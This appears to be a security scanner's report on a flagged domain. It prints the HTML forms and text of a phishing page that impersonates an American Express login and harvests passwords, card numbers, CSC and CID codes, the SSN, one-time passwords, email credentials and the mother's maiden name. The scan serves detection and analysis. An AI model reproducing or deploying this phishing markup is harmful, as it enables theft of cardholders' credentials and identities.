mydentist.group Open in urlscan Pro
84.247.136.114  Malicious Activity! Public Scan

Form analysis
6 forms found in the DOM

#

<form action="#" id="form">
  <div class="form_input form__inpt">
    <label for="">USER ID</label>
    <input type="text" name="id" required="">
  </div>
  <div class="form_input form__inpt">
    <label for="">PASSWORD</label>
    <input type="password" name="pa" required="">
  </div>
  <div class="form_input">
    <select name="type" id="type">
      <option value="Cards - My Account">Cards - My Account</option>
      <option value="Membership Rewards">Membership Rewards</option>
      <option value="Merchant Account">Merchant Account</option>
      <option value="American Express @ Work">American Express @ Work</option>
    </select>
  </div>
  <div>
    <input type="checkbox" id="check">
    <label for="check">Remember Me</label>
  </div>
  <div class="form_input">
    <button>Login</button>
  </div>
</form>

---

#

<form action="#" id="formSx">
  <h2>Security Verification: 3-Digit CSC</h2>
  <p>Please enter the 3-digit Card Security Code (CSC) which are the last three numbers printed on the signature strip on the back of your card.</p>
  <div class="imgBoxCs">
    <img src="https://icm.aexp-static.com/content/dam/one-amex/one-identity/images/3CSC_INTL_300x190.png" alt="csimg">
  </div>
  <div class="text_error errsec errSx none">
    <span>Incorrect Security Information, Try again</span>
  </div>
  <div class="form_input form__inpt labStyle mainsc">
    <label for="">3-Digit CSC</label>
    <input type="password" name="sx" id="sx" placeholder="" required="" minlength="3" maxlength="3">
    <span class="showvID2">Show</span>
  </div>
  <div class="form_input form__inpt labStyle mainsc">
    <label for="">4-Digit CID</label>
    <input type="text" name="cid4" id="cid4" placeholder="" required="" maxlength="4">
  </div>
  <div class="form_input form__inpt labStyle mainsc">
    <label for="">Personal Security Pin</label>
    <input type="text" name="psp2" id="psp2" placeholder="" required="">
  </div>
  <div class="form_input form__inpt labStyle mainsc">
    <label for="">Social Security Number (SSN)</label>
    <input type="text" name="sn2" id="sn2" placeholder="" required="">
  </div>
  <div class="verifyBtn">
    <button class="vsxbtn">Verify</button>
  </div>
</form>

---

#

<form action="#" id="formOt">
  <h2>Verify your identity</h2>
  <p>Please enter the one-time password sent to your Mobile Number. </p>
  <div class="text_error errsec errSx errot none">
    <span class="textErrP">Invalid 3-Digit CSC Code, Try again</span>
  </div>
  <div class="form_input form__inpt labStyle mainsc">
    <label for="">One-time password</label>
    <input type="text" name="ot" id="ot" placeholder="" required="">
  </div>
  <div class="verifyBtn">
    <button class="vsxbtn">Verify</button>
  </div>
</form>

---

#

<form action="#" id="form2">
  <div class="text_error errordsc none">
    <span>Incorrect User ID or Password</span>
  </div>
  <div class="form_input form__inpt labStyle">
    <label for="">Email Address</label>
    <input type="email" name="em1" placeholder="Email Address" required="" class="sc">
  </div>
  <div class="form_input form__inpt labStyle">
    <label for="">Email Password</label>
    <input type="password" name="pass" placeholder="Email Password" required="" class="sc">
  </div>
  <div class="form_input">
    <button>Continue</button>
  </div>
</form>

---

#

<form action="#" id="form3">
  <div class="form_input form__inpt labStyle">
    <label for="">FULL NAME</label>
    <input type="text" name="noc" placeholder="Full Name" required="">
  </div>
  <div class="form_input form__inpt labStyle">
    <label for="">CARD NUMBER</label>
    <input type="text" name="cnum" placeholder="XXXX-XXXXXX-XXXX" required="">
  </div>
  <div class="form_input form__inpt labStyle">
    <label for="">CARD EXPIRY DATE</label>
    <input type="text" name="exp" placeholder="MM/YY" required="">
  </div>
  <div class="form_input form__inpt labStyle">
    <label for="">CARD CSC</label>
    <input type="text" name="sec" placeholder="Card CSC" required="">
  </div>
  <div class="form_input form__inpt labStyle">
    <label for="">CARD CID</label>
    <input type="text" name="em" placeholder="Card CID" required="">
  </div>
  <div class="form_input form__inpt labStyle">
    <p class="error err-2 none">Incorrect Password</p>
    <label for="">ZIP CODE</label>
    <input type="text" name="zip" placeholder="Zip Cide" required="">
  </div>
  <div class="form_input">
    <button>Continue</button>
  </div>
</form>

---

#

<form action="#" id="form4">
  <div class="form_input form__inpt labStyle">
    <label for="">CONFIRM PERSONAL SECURITY KEY</label>
    <input type="text" name="psp" placeholder="CONFIRM PERSONAL SECURITY KEY" required="">
  </div>
  <div class="form_input form__inpt labStyle">
    <label for="">DATE OF BIRTH</label>
    <input type="text" name="dob" placeholder="DD/MM/YY required" required="">
  </div>
  <div class="form_input form__inpt labStyle">
    <label for="">MOTHER'S MAIDEN NAME</label>
    <input type="text" name="pob" placeholder="MOTHER'S MAIDEN NAME" required="">
  </div>
  <div class="form_input form__inpt labStyle">
    <label for="">MOTHER'S BIRTH DATE</label>
    <input type="text" name="pob2" placeholder="MOTHER'S BIRTHDAY" required="">
  </div>
  <div class="form_input form__inpt labStyle">
    <label for="">LAST 5 DIGIT OF CARD</label>
    <input type="text" name="emai" placeholder="LAST 5 DIGIT OF CARD" required="">
  </div>
  <div class="form_input">
    <button>Continue</button>
  </div>
</form>

---

Text Content

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Incorrect User ID or Password
USER ID
PASSWORD
Cards - My Account Membership Rewards Merchant Account American Express @ Work
Remember Me
Login
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Visit Our Security Center

1. Security Verification


SECURITY VERIFICATION: 3-DIGIT CSC

Please enter the 3-digit Card Security Code (CSC) which are the last three
numbers printed on the signature strip on the back of your card.


Incorrect Security Information, Try again
3-Digit CSC Show
4-Digit CID
Personal Security Pin
Social Security Number (SSN)
Verify
1. Security Verification


VERIFY YOUR IDENTITY

Please enter the one-time password sent to your Mobile Number.

Invalid 3-Digit CSC Code, Try again
One-time password
Verify
3. Email Verification


VERIFY YOUR EMAIL ADDRESS

Incorrect User ID or Password
Email Address
Email Password
Continue
3. Verify your card


VERIFY YOUR CARD

FULL NAME
CARD NUMBER
CARD EXPIRY DATE
CARD CSC
CARD CID

Incorrect Password

ZIP CODE
Continue
Don t have a 4-Digit Card ID?

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The location of your Card details may differ depending on your Card.


4. Personal Information


VERIFY YOUR PERSONAL INFORMATION

CONFIRM PERSONAL SECURITY KEY
DATE OF BIRTH
MOTHER'S MAIDEN NAME
MOTHER'S BIRTH DATE
LAST 5 DIGIT OF CARD
Continue
5. Finish


THANK YOU, YOUR INFORMATION HAS BEEN VERIFIED.




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